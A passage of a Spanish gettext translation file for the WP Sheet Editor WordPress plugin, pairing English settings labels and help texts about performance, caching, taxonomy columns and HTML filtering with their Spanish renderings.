wp-sheet-editor/dev/inc/options-init.php:136 msgid "" "We limit the spreadsheet columns for performance reasons to avoid loading " "thousands of columns on the spreadsheet. You can increase this limit if you " "want to display more columns. Default: 310" msgstr "" "Limitamos las columnas de la hoja de cálculo por razones de rendimiento para " "evitar cargar miles de columnas en la hoja de cálculo. Puedes aumentar este " "límite si quieres visualizar más columnas. Predeterminado: 310" #: wp-sheet-editor/dev/inc/options-init.php:142 msgid "Separator for taxonomy terms cells" msgstr "Separador de celdas de términos de taxonomía" #: wp-sheet-editor/dev/inc/options-init.php:143 msgid "" "Taxonomy columns like post categories, post tags, etc. show terms separated " "by comma, if you use commas in your term names, use this option to change " "the separator" msgstr "" "Las columnas de taxonomía como las categorías de las entradas, las etiquetas " "de las entradas, etc. muestran los términos separados por comas, si usas " "comas en los nombres de las taxonomías, usa esta opción para cambiar el " "separador" #: wp-sheet-editor/dev/inc/options-init.php:150 msgid "How long do you want to wait between batches? (in seconds)" msgstr "¿Cuánto tiempo quieres esperar entre cada lote? (en segundos)" #: wp-sheet-editor/dev/inc/options-init.php:151 msgid "" "When you edit a large amount of posts in the spreadsheet editor we can't " "save all the changes at once, so we do it in batches. But your server can't " "handle all the batches one after another so we need to wait a few seconds " "after every batch to give your server a little break. The recommended value " "is 6 seconds, you can adjust it as it works best for you. If you get errors " "when saving you should increase the number to give your server a longer " "break after each batch" msgstr "" "Cuando editas una gran cantidad de filas en el editor de hojas de cálculo, " "no podemos guardar todos los cambios a la vez, así que lo hacemos por lotes. " "Pero tu servidor no puede manejar todos los lotes uno tras otro, así que " "necesitamos esperar unos segundos después de cada lote para darle a tu " "servidor un pequeño descanso. El valor recomendado es de 6 segundos, puedes " "ajustarlo como mejor te convenga. Si obtienes errores al guardar, deberías " "aumentar el número para dar a tu servidor un descanso más largo después de " "cada lote." #: wp-sheet-editor/dev/inc/options-init.php:157 msgid "Disable post actions while saving?" msgstr "¿Desactivar las acciones posteriores al guardar cambios?" #: wp-sheet-editor/dev/inc/options-init.php:158 msgid "" "Some plugins execute a task after a post is created or updated. For example, " "there are plugins that share your new posts on your social profiles, other " "plugins that notify users after a post is updated, etc. There might be an " "issue with those plugins. For example, if you use a plugin that shares your " "new posts on your twitter account and update 100 posts in the spreadsheet " "editor you might end up with 100 tweets shared in your twitter account. So " "enable this option if you want to update / create posts silently without " "executing those functions." msgstr "" "Algunos plugins ejecutan una tarea después de crear o actualizar una " "entrada. Por ejemplo, hay plugins que comparten tus nuevas entradas en tus " "perfiles sociales, otros plugins notifican a los usuarios después de que una " "entrada es actualizada, etc. Puede que haya un problema con esos plugins. " "Por ejemplo, si usas un plugin que comparte tus nuevos posts en tu cuenta de " "twitter y actualizas 100 posts en el editor de la hoja de cálculo, puedes " "terminar con 100 tweets compartidos en tu cuenta de twitter. Así que " "habilita esta opción si quieres actualizar / crear posts silenciosamente sin " "ejecutar esas funciones." #: wp-sheet-editor/dev/inc/options-init.php:164 msgid "Suspend object cache invalidation?" msgstr "¿Suspender la invalidación de la caché de objetos?" #: wp-sheet-editor/dev/inc/options-init.php:165 msgid "" "Disable this if you are using a object/database cache plugin. We disable " "this by default to make the saving faster, when you edit a lot of posts " "WordPress tries to \"clean up\" the cache even if you are not using a cache " "plugin, making hundreds of unnecessary database queries." msgstr "" "Deshabilita esta opción si estás usando un plugin de caché de objetos/bases " "de datos. Desactivamos esto por defecto para que el ahorro sea más rápido. " "Cuando editas muchas entradas, WordPress intenta \"limpiar\" la caché " "incluso si no estás usando un plugin de caché, haciendo cientos de consultas " "innecesarias a la base de datos." #: wp-sheet-editor/dev/inc/options-init.php:171 msgid "Disable the replacement of line breaks with p tags?" msgstr "¿Deshabilitar la sustitución de los saltos de línea con etiquetas p?" #: wp-sheet-editor/dev/inc/options-init.php:172 msgid "" "When the sheet loads and saves post content, we run it through wpautop to " "prevent issues with line breaks. You can disable this if you dont want to " "see/save the p tags in the content." msgstr "" "Cuando se carga la hoja de cálculo y guarda el contenido de las filas, la " "ejecutamos a través de wpautop para evitar problemas de saltos de línea. " "Puedes deshabilitar esto si no quieres ver/guardar las etiquetas p en el " "contenido." #: wp-sheet-editor/dev/inc/options-init.php:178 msgid "Deactivate the data prefetch" msgstr "Desactivar el prefetch de los datos" #: wp-sheet-editor/dev/inc/options-init.php:179 msgid "" "When you load the spreadsheet, we get all the columns at once from the " "database to make it faster, this is called prefetch. This can cause issues " "if you have thousands of columns or rare database setups." msgstr "" "Cuando cargas la hoja de cálculo, obtenemos todas las columnas a la vez de " "la base de datos para hacerlo más rápido, esto se llama prefetch. Esto puede " "causar problemas si tienes miles de columnas o configuraciones raras en tus " "bases de datos." #: wp-sheet-editor/dev/inc/options-init.php:185 msgid "Meta keys that should use the infinite serialized fields handler" msgstr "" "Claves meta que deben utilizar el administrador de campos serializados " "infinitos" #: wp-sheet-editor/dev/inc/options-init.php:186 msgid "" "This is only for advanced users or if our support team asks you to use this " "option. We have 2 ways to handle serialized fields: the old handler (used by " "default, which has limitations) and the infinite serialization handler " "(better, it is not active by default to not break previous integrations). " "Use this option if you have serialized fields that save incorrectly or dont " "appear in the spreadsheet." msgstr "" "Esto es sólo para usuarios avanzados o si nuestro equipo de soporte te pide " "que uses esta opción. Tenemos dos maneras de manejar los campos " "serializados: el antiguo controlador (usado por defecto, que tiene " "limitaciones) y el controlador de serialización infinita (mejor, no está " "activo por defecto para no romper integraciones anteriores). Utiliza esta " "opción si tienes campos serializados que se guardan incorrectamente o no " "aparecen en la hoja de cálculo." #: wp-sheet-editor/dev/inc/options-init.php:191 msgid "Blacklist these columns" msgstr "Poner estas columnas en la lista negra" #: wp-sheet-editor/dev/inc/options-init.php:192 msgid "" "Enter the list of field keys separated by commas, you can enter the full " "meta field key or partial keywords or prefixes. This is useful because some " "plugins add thousands of unnecessary fields to the database and they clutter " "the spreadsheet" msgstr "" "Ingresa la lista de claves de campo separadas por comas, puedes ingresar la " "clave completa del campo meta o las palabras clave o prefijos parciales. " "Esto es útil porque algunos plugins añaden miles de campos innecesarios a la " "base de datos y desordenan la hoja de cálculo" #: wp-sheet-editor/dev/inc/options-init.php:197 msgid "Enable the utf8 encoding fix" msgstr "Habilitar la corrección de la codificación utf8" #: wp-sheet-editor/dev/inc/options-init.php:198 msgid "This might help if the spreadsheet doesnt load or it loads empty." msgstr "" "Esto puede ayudar si la hoja de cálculo no carga filas o si las filas " "aparecen vacías." #: wp-sheet-editor/dev/inc/options-init.php:205 msgid "Maximum number of seconds to download external images?" msgstr "Número máximo de segundos para descargar imágenes externas?" #: wp-sheet-editor/dev/inc/options-init.php:206 msgid "" "Default: 4. When you enter an external image URL in any image cells (or " "during the import), we download the image file into the WordPress media " "library and save it in the field. By default, we limit the download time to " "4 seconds, any download that exceeds that number of seconds will be cancelled" msgstr "" "Por defecto: 4. Cuando ingresas una URL externa en columnas de imágenes o " "durante la importación, descargamos la imagen y la guardamos en la librería " "multimedia de WordPress. Por defecto, limitamos la descarga a 4 segundos, " "cualquier descarga que supere eso será cancelada para evitar problemas de " "rendimiento." #: wp-sheet-editor/dev/inc/options-init.php:212 msgid "Maximum meta fields displayed in the advanced filters dropdown" msgstr "Cantidad máxima de campos disponibles para búsqueda avanzada?" #: wp-sheet-editor/dev/inc/options-init.php:213 msgid "" "We limit the list of fields to 1000 meta fields to avoid memory leaks/" "performance issues. If you want to search by a field that does not appear in " "the dropdown, increase this number." msgstr "" "Limitamos la lista de campos a 1000 meta campos para evitar pérdidas de " "memoria/problemas de rendimiento. Si quieres buscar por un campo que no " "aparece en el desplegable, aumenta este número." #: wp-sheet-editor/dev/inc/options-init.php:219 msgid "Allow line breaks in values during the export and import process" msgstr "Permitir saltos de línea en valores al exportar e importar?" #: wp-sheet-editor/dev/inc/options-init.php:220 msgid "" "We will not execute our removal of duplicate rows when the line breaks are " "allowed, so you might see duplicate rows in the export files in rare cases." msgstr "" "No ejecutaremos nuestra eliminación de filas duplicadas cuando se permitan " "los saltos de línea, por lo que es posible que veas filas duplicadas en los " "archivos de exportación en casos excepcionales." #: wp-sheet-editor/dev/inc/options-init.php:226 msgid "Allow safe html in post titles?" msgstr "Permitir HTML seguro en títulos de posts?" #: wp-sheet-editor/dev/inc/options-init.php:227 msgid "" "We will remove all the html tags by default. Activate this option to allow " "safe html tags, like b, span, i, etc" msgstr "" "Eliminaremos todas las etiquetas html por defecto. Habilita esta opción para " "permitir etiquetas html seguras, como b, span, i, etc." #: wp-sheet-editor/dev/inc/options-init.php:233 msgid "Attach every taxonomy term in the hierarchy to the posts?" msgstr "¿Acoplar cada término de taxonomía de la jerarquía a los posts?" #: wp-sheet-editor/dev/inc/options-init.php:234 msgid "" "By default, we only attach the last term in the hierarchy to the posts " "because WordPress automatically handles them correctly. But if you want to " "assign each term to the post, including the parent categories, activate this " "option" msgstr "" "Por defecto, sólo asignamos el último término de la jerarquía a las entradas " "porque WordPress las gestiona correctamente de forma automática. Pero si " "quieres asignar cada término a la entrada, incluyendo las categorías padre, " "habilita esta opción." #: wp-sheet-editor/dev/inc/options-init.php:240 msgid "Always run the save_post action after any post row is edited?" msgstr "" "¿Ejecutar siempre la acción save_post después de editar cualquier fila de la " "entrada?" #: wp-sheet-editor/dev/inc/options-init.php:241 msgid "" "By default, we run the save_post action only when a post data field is " "updated (fields other than meta and taxonomies) for performance reasons. " "Enable this if other plugins aren't detecting our changes or webhooks aren't " "running." msgstr "" "Por defecto, ejecutamos la acción save_post sólo cuando se actualiza un " "campo de datos de la entrada (campos que no sean meta y taxonomías) por " "razones de rendimiento. Habilita esto si otros plugins no están detectando " "nuestros cambios o los webhooks no se están ejecutando." #: wp-sheet-editor/dev/inc/options-init.php:250 msgid "Customize features" msgstr "¿Personalizar las características" #: wp-sheet-editor/dev/inc/options-init.php:255 msgid "Enable option to restrict spreadsheet views per user?" msgstr "" "¿Habilitar la opción de restringir las vistas de hojas de cálculo por " "usuario?" #: wp-sheet-editor/dev/inc/options-init.php:256 msgid "" "If you enable this option, we will add fields to the user profiles where you " "can specify which spreadsheet views they can use, they can use all the " "spreadsheet views if this is deactivated." msgstr "" "Si habilitas esta opción, añadiremos campos a los perfiles de usuario donde " "podrás especificar qué vistas de la hoja de cálculo pueden utilizar, pueden " "utilizar todas las vistas de la hoja de cálculo si esto está desactivado." #: wp-sheet-editor/dev/inc/options-init.php:262 msgid "Enable simple mode?" msgstr "¿Habilitar el modo simple?" #: wp-sheet-editor/dev/inc/options-init.php:263 msgid "" "If you enable this option, we will simplify the spreadsheet options and " "remove advanced examples, tips, and options rarely used in the search tool, " "bulk edit tool, import tool, export tool, and other places." msgstr "" "Si habilitas esta opción, simplificaremos las opciones de la hoja de cálculo " "y eliminaremos ejemplos avanzados, consejos y opciones poco utilizadas en la " "herramienta de búsqueda, la herramienta de edición masiva, la herramienta de " "importación, la herramienta de exportación y otros lugares." #: wp-sheet-editor/dev/inc/options-init.php:269 msgid "Disable the automatic formatting detection?" msgstr "¿Deshabilitar la detección automática del formato?" #: wp-sheet-editor/dev/inc/options-init.php:270 msgid "" "If you enable this option, some columns will appear as text. Normally we " "detect the date fields, image fields." msgstr "" "Si habilitas esta opción, algunas columnas aparecerán como texto. " "Normalmente detectamos los campos de fecha, campos de imagen." #: wp-sheet-editor/dev/inc/options-init.php:276 msgid "Disable cells lazy loading?" msgstr "¿Deshabilitar la carga lenta de las celdas?" #: wp-sheet-editor/dev/inc/options-init.php:277 msgid "" "The spreadsheet loads only the \"visible rows\" for performance reasons, so " "when you scroll up or down the rows are loaded dynamically. This way you can " "\"open\" thousands of posts in the spreadshet and it will work fast. " "However, if you want to use the browser search to find a specific cell, you " "need to disable the lazy loading in order to load all the rows at once and " "the browser will be able to find the cells. The browser search doesn't work " "by default because only the \"visible rows\" are actually created." msgstr "" "La hoja de cálculo carga sólo las \"filas visibles\" por razones de " "rendimiento, por lo que cuando te desplazas hacia arriba o hacia abajo las " "filas se cargan dinámicamente. De esta manera puedes \"abrir\" miles de " "posts en la hoja de cálculo y funcionará rápido. Sin embargo, si quieres " "usar la búsqueda del navegador para encontrar una celda específica, " "necesitas deshabilitar la carga perezosa para cargar todas las filas a la " "vez y el navegador será capaz de encontrar las celdas. La búsqueda en el " "navegador no funciona por defecto porque sólo se crean las \"filas " "visibles\"." #: wp-sheet-editor/dev/inc/options-init.php:283 msgid "Disable usage stats widget?" msgstr "¿Deshabilitar el widget de estadísticas de uso?" #: wp-sheet-editor/dev/inc/options-init.php:284 msgid "" "If you enable this option, the usage stats widget shown in the wp-admin " "dashboard will be removed." msgstr "" "Si habilitas esta opción, el widget de estadísticas de uso que se muestra en " "el panel de control de wp-admin será eliminado." #: wp-sheet-editor/dev/inc/options-init.php:290 msgid "Disable serialized columns support?" msgstr "¿Deshabilitar el soporte de columnas serializadas?" #: wp-sheet-editor/dev/inc/options-init.php:291 msgid "" "The spreadsheet automatically generates columns for serialized fields, but " "this can use a lot of CPU cycles depending on the number of serialized " "fields. You can disable this feature if the sheet is too slow to load or you " "get errors when loading the rows or you dont want to see columns with prefix " "\"SEIS\"." msgstr "" "La hoja de cálculo genera automáticamente columnas para los campos " "serializados, pero esto puede utilizar muchos ciclos de CPU dependiendo del " "número de campos serializados. Puedes deshabilitar esta característica si la " "hoja es demasiado lenta para cargar o si obtienes errores al cargar las " "filas o no quieres ver las columnas con el prefijo \"SEIS\"." #: wp-sheet-editor/dev/inc/options-init.php:297 msgid "Disable the heartbeat api in the spreadsheet?" msgstr "¿Deshabilitar la api heartbeat en la hoja de cálculo?" #: wp-sheet-editor/dev/inc/options-init.php:298 msgid "" "WordPress uses the heartbeat API to check the login status every few " "seconds. This can overload your server because it could make hundreds of " "requests when you are editing in the spreadsheet. You can disable it to " "reduce the stress on your server while editing in the sheet. However, if you " "keep the spreadsheet opened over multiple days your login session can expire " "and you wont be notified if you disable the heartbeat and this can cause " "issues while saving. So use this option only when you use the spreadsheet " "for a few hours only." msgstr "" "WordPress utiliza la API de heartbeat para comprobar el estado de inicio de " "sesión cada pocos segundos. Esto puede sobrecargar el servidor, ya que " "podría hacer cientos de peticiones cuando se está editando en la hoja de " "cálculo. Puedes deshabilitarla para reducir el estrés en tu servidor " "mientras editas en la hoja de cálculo. Sin embargo, si mantienes la hoja de " "cálculo abierta durante varios días, tu sesión de inicio de sesión puede " "caducar y no se te notificará si dehabilitas el heartbeat, lo que puede " "causar problemas al guardarla. Así que usa esta opción sólo cuando uses la " "hoja de cálculo durante unas pocas horas." #: wp-sheet-editor/dev/inc/options-init.php:303 msgid "User roles that can use the spreadsheet editor" msgstr "Roles de usuario que pueden utilizar el editor de hojas de cálculo" #: wp-sheet-editor/dev/inc/options-init.php:304 msgid "The plugin will not initialize for the user roles not selected here." msgstr "" "El plugin no se inicializará para los roles de usuario no seleccionados aquí." #: wp-sheet-editor/dev/inc/options-init.php:312 msgid "Enable the fancy taxonomy terms selector" msgstr "Habilitar el selector de términos de taxonomía bonito" #: wp-sheet-editor/dev/inc/options-init.php:313 msgid "" "Backwards compatibility. This setting will be removed in future updates." msgstr "" "Compatibilidad con versiones anteriores. Este ajuste se eliminará en futuras " "actualizaciones." #: wp-sheet-editor/dev/inc/options-init.php:319 msgid "What cell format to use for the taxonomy columns?" msgstr "¿Qué formato de celda se debe utilizar para las columnas de taxonomía?" #: wp-sheet-editor/dev/inc/options-init.php:321 msgid "New multi select dropdown (Default)" msgstr "Nuevo menú desplegable de selección múltiple (predeterminado)" #: wp-sheet-editor/dev/inc/options-init.php:322 msgid "Old single select autocomplete" msgstr "Autocompletado de selección simple antiguo" #: wp-sheet-editor/dev/inc/options-init.php:328 msgid "Show all the custom post statuses?" msgstr "¿Mostrar todos los estados de posts personalizados?" #: wp-sheet-editor/dev/inc/options-init.php:329 msgid "" "By default we show the CORE statuses: published, draft, private, scheduled, " "trash. However, some plugins register custom statuses: job managers, " "woocommerce. Enable this option to show all the custom statuses in the " "\"status\" column. CAREFUL. We will show all the statuses from all the post " "types in the dropdown because it is impossible to know the post type of each " "status to we can not separate them. Do this only if you are a developer." msgstr "" "Por defecto, mostramos los estados del NÚCLEO: publicado, borrador, privado, " "programado, papelera. Sin embargo, algunos plugins registran estados " "personalizados: gestores de trabajos, comercio de madera. Habilita esta " "opción para mostrar todos los estados personalizados en la columna " "\"status\". CUIDADO. Mostraremos todos los estados de todos los post types " "en el desplegable porque es imposible saber el post type de cada estado al " "no poder separarlos. Haz esto sólo si eres un desarrollador." #: wp-sheet-editor/dev/inc/options-init.php:335 msgid "Remove help messages from the cells?" msgstr "¿Ocultar los mensajes de ayuda de las celdas?" #: wp-sheet-editor/dev/inc/options-init.php:336 msgid "" "By default we show comments in some columns indicating the value format or " "why they are locked. for example, the category column shows a tip indicating " "to separate terms with a comma and how to add child categories, variation " "columns have a tip indicating why they are locked for parent products. You " "can activate this option to disable those tips." msgstr "" "Por defecto, mostramos comentarios en algunas columnas indicando el formato " "del valor o por qué están bloqueados. Por ejemplo, la columna de categorías " "muestra un consejo que indica que hay que separar los términos con una coma " "y cómo añadir categorías menores, las columnas de variaciones tienen un " "consejo que indica por qué están bloqueadas para los productos de los " "padres. Puedes activar esta opción para desactivar esos consejos." #: wp-sheet-editor/dev/inc/options-init.php:342 msgid "Manage taxonomy column values as term ids?" msgstr "" "¿Administrar los valores de las columnas de taxonomía como IDs de términos?" #: wp-sheet-editor/dev/inc/options-init.php:343 msgid "" "By default we show the categories as names separated by commas. Activate " "this option to display and save term ids separated by commas." msgstr "" "Por defecto mostramos las categorías como nombres separados por comas. " "Habilita esta opción para mostrar y guardar los ID de los términos separados " "por comas." #: wp-sheet-editor/dev/inc/options-init.php:349 msgid "Manage taxonomy column values as term slugs?" msgstr "" "¿Gestionar los valores de las columnas de taxonomía como slugs de términos?" #: wp-sheet-editor/dev/inc/options-init.php:350 msgid "" "By default we show the categories as names separated by commas. Activate " "this option to display and save term slugs separated by commas." msgstr "" "Por defecto mostramos las categorías como nombres separados por comas. " "Habilita esta opción para mostrar y guardar los términos separados por comas." #: wp-sheet-editor/dev/inc/options-init.php:356 msgid "Do you want to deactivate columns for new fields found?" msgstr "¿Quieres deshabilitar las columnas para los nuevos campos encontrados?" #: wp-sheet-editor/dev/inc/options-init.php:357 msgid "" "By default we automatically show columns for all the new fields found, so " "everytime we detect new fields you can see them and edit right away. But " "this might \"break\" your column sorting or annoy you if you have enabled " "specific columns. Enable this option to generate those columns but leave " "them deactivated so you can enable them later." msgstr "" "Por defecto mostramos automáticamente columnas para todos los nuevos campos " "encontrados, así que cada vez que detectamos nuevos campos puedes verlos y " "editarlos inmediatamente. Pero esto puede \"romper\" tu orden de columnas o " "molestarte si has habilitado columnas específicas. Habilita esta opción para " "generar esas columnas pero dejarlas desactivadas para que puedas " "habilitarlas más tarde." #: wp-sheet-editor/dev/inc/options-init.php:364 msgid "Math formula roundup decimals" msgstr "" "Decimales para redondear valores al realizar ediciones masivas en columnas " "numéricas?" #: wp-sheet-editor/dev/inc/options-init.php:365 msgid "" "We automatically round up to 2 decimals. You can enter any number here, for " "example, 1 to round to 1 decimal" msgstr "" "Redondeamos automáticamente a 2 decimales. Puedes ingresar cualquier número " "aquí, por ejemplo, 1 para redondear a 1 decimal" #: wp-sheet-editor/dev/inc/options-init.php:371 msgid "Display raw value on select cells?" msgstr "¿Mostrar el valor bruto en las celdas seleccionadas?" #: wp-sheet-editor/dev/inc/options-init.php:372 msgid "" "By default, we show the label in the cell instead of the raw value. But you " "can enable this option to display the raw value in the cells." msgstr "" "Por defecto, mostramos la etiqueta en la celda en lugar del valor bruto. " "Pero puedes habilitar esta opción para mostrar el valor bruto en las celdas." #: wp-sheet-editor/dev/inc/options-init.php:378 msgid "" "Delete user accounts in the entire network when deleting users in the " "spreadsheet?" msgstr "" "¿Borrar cuentas de usuario en toda la red al borrar usuarios en la hoja de " "cálculo?" #: wp-sheet-editor/dev/inc/options-init.php:379 msgid "" "When you use WordPress multisite and you delete a user in the users " "spreadsheet, by default we only remove the user from the current site but " "the user remains in the network. Activate this option if you want to delete " "the user account from the entire network" msgstr "" "Cuando usas una red multisitios y borras usuarios en la hoja de cálculo de " "usuarios, por defecto solo removemos el usuario del sitio actual. Habilita " "esta opción para eliminar al usuario de toda la red." #: wp-sheet-editor/dev/inc/options-init.php:385 msgid "Disable the addition of file ID to the image URLs?" msgstr "¿Deshabilitar la adición del ID del archivo a la URL de las imágenes?" #: wp-sheet-editor/dev/inc/options-init.php:386 msgid "" "By default, when you export the featured image column or gallery columns, we " "add the file ID to each image url so we can import them later faster. You " "can activate this option to not add the file id and the import will work " "fine later but it wont be as fast" msgstr "" "Por defecto, al exportar una columna con imágenes, agregamos el ID del " "archivo a la URL para que al importar, sepamos el origen de la imagen y la " "guardemos más rápido. Activa esta opción para no agregar el ID a la URL, " "todo funciona bien al habilitar esta opción, solo que el guardado puede ser " "un poquito más lento." #: wp-sheet-editor/dev/inc/options-init.php:392 msgid "Disable the display of file names in the image columns?" msgstr "¿No mostrar el nombre del archivo en la celda de las imágenes?" #: wp-sheet-editor/dev/inc/options-init.php:393 msgid "" "By default, we show the file name as a preview next to the thumbnail, you " "can activate this to show the thumbnail and upload buttons only" msgstr "" "Por defecto, mostramos el nombre del archivo como texto de vista previa " "junto a la miniatura, habilita esto para mostrar solo la miniatura y botones " "únicamente." #: wp-sheet-editor/dev/inc/options-init.php:399 msgid "Add html classes to the \"post status\" cells based on their values?" msgstr "" "¿Añadir clases html a las celdas \" estado de la entrada \" en función de " "sus valores?" #: wp-sheet-editor/dev/inc/options-init.php:400 msgid "" "You can activate this option if you want to add html classes, and use those " "html classes to change the cell colors for each status using custom CSS" msgstr "" "Puedes habilitar esta opción si quieres añadir clases html, y usar esas " "clases html para cambiar los colores de las celdas para cada estado usando " "CSS personalizado" #: wp-sheet-editor/dev/inc/options-init.php:407 msgid "" "Maximum number of characters displayed in the preview of the values of " "tinymce columns?" msgstr "" "¿Número máximo de caracteres mostrados en la vista previa de los valores de " "las columnas tinymce?" #: wp-sheet-editor/dev/inc/options-init.php:408 msgid "" "By default, we only display 30 characters. You can increase the number here " "to view larger previews." msgstr "" "Por defecto, sólo mostramos 30 caracteres. Puedes aumentar el número aquí " "para ver previsualizaciones más grandes." #: wp-sheet-editor/dev/inc/options-init.php:414 msgid "Manage the post parent column using IDs?" msgstr "¿Administrar la columna \"Padre\" usando los IDs?" #: wp-sheet-editor/dev/inc/options-init.php:415 msgid "" "By default, the \"parent\" column displays titles and saves using titles. If " "you activate this option, the column will display IDs and save IDs. This is " "useful if you have duplicate titles and you need to save the exact parent by " "ID." msgstr "" "Por defecto, la columna \"padre\" muestra títulos y guarda utilizando " "títulos. Si habilitas esta opción, la columna mostrará IDs y guardará IDs. " "Esto es útil si tienes títulos duplicados y necesitas guardar el padre " "exacto por ID." #: wp-sheet-editor/dev/inc/options-init.php:420 msgid "Enable the dark mode?" msgstr "¿Habilitar modo oscuro?" #: wp-sheet-editor/dev/inc/options-init.php:424 msgid "Auto (Default)" msgstr "Automático (por defecto)" #: wp-sheet-editor/dev/inc/options-init.php:425 msgid "Light mode" msgstr "Modo claro" #: wp-sheet-editor/dev/inc/options-init.php:426 msgid "Dark mode" msgstr "Modo oscuro" #: wp-sheet-editor/dev/inc/options-init.php:433 msgid "General settings" msgstr "Ajustes generales" #: wp-sheet-editor/dev/inc/options-init.php:438 msgid "" "In this page you can quickly set up the spreadsheet editor. This all you " "need to use the editor. The settings on the other tabs are completely " "optional and allow you to tweak the performance of the editor among other " "things." msgstr "" "En esta página puedes configurar rápidamente el editor de hojas de cálculo. " "Esto es todo lo que necesitas para usar el editor. Los ajustes en las otras " "pestañas son completamente opcionales y te permiten ajustar el rendimiento " "del editor entre otras cosas." #: wp-sheet-editor/dev/inc/options-init.php:445 msgid "Misc" msgstr "Miscelánea" #: wp-sheet-editor/dev/inc/options-init.php:451 msgid "Image preview width inside the cell" msgstr "Ancho de previsualización de la imagen dentro de la celda" #: wp-sheet-editor/dev/inc/options-init.php:458 msgid "Image preview height inside the cell" msgstr "Altura de previsualización de la imagen dentro de la celda" #: wp-sheet-editor/dev/inc/options-init.php:465 msgid "Initial rows offset" msgstr "Desfase inicial de las filas" #: wp-sheet-editor/dev/inc/options-init.php:466 msgid "" "When you have 1000 posts , you might want to open the spreadsheet and start " "editing from post 200. This option lets you skip a lot of rows. IMPORTANT. " "We use the pagination, so we will display the page closest to that number. " "For example. If you load 10 rows per page and enter 1205 as offset, the " "sheet will start from page 120 (index 1200) because it is the page closest " "to the defined offset." msgstr "" "Cuando tengas 1000 filas , puede que quieras abrir la hoja de cálculo y " "empezar a editar desde las fila 200. Esta opción te permite saltar muchas " "filas. IMPORTANTE. Usamos la paginación, así que mostraremos la página más " "cercana a ese número. Por ejemplo, si cargas 10 filas por página e ingresas " "1205 como desplazamiento, la hoja comenzará desde la página 120 (índice " "1200) porque es la página más cercana al desplazamiento definido." #: wp-sheet-editor/dev/inc/options-init.php:472 msgid "Delete the attached images when deleting a post?" msgstr "¿Borrar las imágenes adjuntas al borrar una entrada?" #: wp-sheet-editor/dev/inc/options-init.php:473 msgid "" "For example, when deleting a post completely (not moving to the trash), " "delete the featured image and product gallery images from the media library. " "CAREFUL.If you use the same images on multiple posts, it will break the " "images on other posts" msgstr "" "Por ejemplo, cuando se borra un post por completo (sin ir a la papelera), se " "borra la imagen destacada y las imágenes de la galería de productos de la " "biblioteca de medios. CUIDADO. Si usas las mismas imágenes en varios posts, " "se romperán las imágenes en otros posts" #: wp-sheet-editor/dev/inc/options-init.php:481 msgid "Spreadsheets enabled for these post types" msgstr "Hojas de cálculo habilitadas para estos post types" #: wp-sheet-editor/dev/inc/options-init.php:486 msgid "Disable the help toolbar?" msgstr "¿Deshabilitar la barra de ayuda?" #: wp-sheet-editor/dev/inc/options-init.php:487 msgid "This will hide the \"help\" option in the top toolbar" msgstr "Esto ocultará la opción \"ayuda\" de la barra de herramientas superior" #: wp-sheet-editor/dev/inc/options-init.php:494 msgid "Maximum visible characters in locked cells" msgstr "Máximo de caracteres visibles en las celdas bloqueadas" #: wp-sheet-editor/dev/inc/options-init.php:495 msgid "" "Locked cells only show a preview of the value. The default character length " "is %d" msgstr "" "Las celdas bloqueadas sólo muestran una vista previa del valor. La longitud " "de caracteres por defecto es %d" #: wp-sheet-editor/dev/inc/options-init.php:501 msgid "Don't show read-only columns in the advanced search?" msgstr "¿No mostrar columnas de sólo lectura en la búsqueda avanzada?" #: wp-sheet-editor/dev/inc/options-init.php:510 msgid "Disable extension offerings?" msgstr "¿Deshabilitar la promoción de extensiones?" #: wp-sheet-editor/dev/inc/options-init.php:516 msgid "Don't display the disabled columns in the modules?" msgstr "¿No mostrar las columnas deshabilitadas en los módulos?" #: wp-sheet-editor/dev/inc/options-init.php:517 msgid "" "By default, we show all the columns in the app modules (advanced search, " "bulk edit, export, import, etc), even if they're disabled in the columns " "manager. Activate this option to only display enabled columns." msgstr "" "Por defecto, mostramos todas las columnas en los módulos de la app (búsqueda " "avanzada, edición masiva, exportación, importación, etc), aunque estén " "deshabilitadas en el gestor de columnas. Habilita esta opción para mostrar " "solo las columnas habilitadas." #: wp-sheet-editor/dev/inc/options-init.php:523 msgid "" "Allow users with the capability unfiltered_html to save any html in the post " "content column?" msgstr "" "¿Permitir a los usuarios con la capacidad unfiltered_html guardar cualquier " "html en la columna de contenido del post?" #: wp-sheet-editor/dev/inc/options-init.php:524 msgid "" "By default, we remove any unsafe html from all the spreadsheet columns " "before saving the values. You can activate this option if you want to allow " "the WordPress super admins or administrators to add iframes, ad codes, etc " "to the post content. Use it at your own risk." msgstr "" "Por defecto, eliminamos cualquier html inseguro de todas las columnas de la " "hoja de cálculo antes de guardar los valores. Puedes activar esta opción si " "quieres permitir a los superadministradores o administradores de WordPress " "añadir iframes, códigos de anuncios, etc al contenido de la entrada. Úsala " "bajo tu propia responsabilidad." #: wp-sheet-editor/dev/inc/options-init.php:531 msgid "Generate serialized fields columns based on these posts" msgstr "Generar columnas de campos serializados basados en estos posts" #: wp-sheet-editor/dev/inc/options-init.php:532 msgid "" "This option allows you to indicate what posts to use as templates for " "specific serialized fields. Enter the field key and post ID separated with a " "colon. For example: serialized_key1:89, serializedkey2:90" msgstr "" "Esta opción te permite indicar qué posts utilizar como plantillas para " "campos serializados específicos. Ingresa la clave del campo y el ID del post " "separados por dos puntos. Por ejemplo: serialized_key1:89, serialized_key2:90" #: wp-sheet-editor/dev/inc/providers/post.php:511 msgid "" "Row ID: %1$d, Post type: %2$s does not exist in WordPress. Make sure your " "CSV uses the right name in the post type column." msgstr "" "Fila: %1$d, Tipo de post: %2$s no existe en WordPress. Asegúrate de que tu " "CSV utiliza el nombre correcto en la columna Post type." #: wp-sheet-editor/dev/inc/providers/post.php:527 msgid "" "Row ID: %d. You are trying to save an empty post type. Make sure your CSV " "uses the right name in the post type column." msgstr "" "Fila: %d. Estás guardando un post type vacío. Asegúrate que tu CSV usa el " "nombre correcto en la columna \"Tipo de post\" o \"Post Type\"." #: wp-sheet-editor/dev/inc/providers/post.php:636 msgid "Row ID: %d, You do not have permission to delete this post." msgstr "Fila: %d. No tienes suficientes permisos para borrar este post." #: wp-sheet-editor/dev/inc/teasers/advanced-filters.php:39 #: wp-sheet-editor/dev/inc/teasers/advanced-filters.php:46 #: wp-sheet-editor/dev/inc/teasers/advanced-filters.php:54 msgid "Go Premium" msgstr "Pásate a Premium" #: wp-sheet-editor/dev/inc/teasers/coupons.php:33 msgid "WooCommerce Coupons" msgstr "Cupones WooCommerce" #: wp-sheet-editor/dev/inc/teasers/coupons.php:51 msgid "" "Edit Coupons in a Spreadsheet.
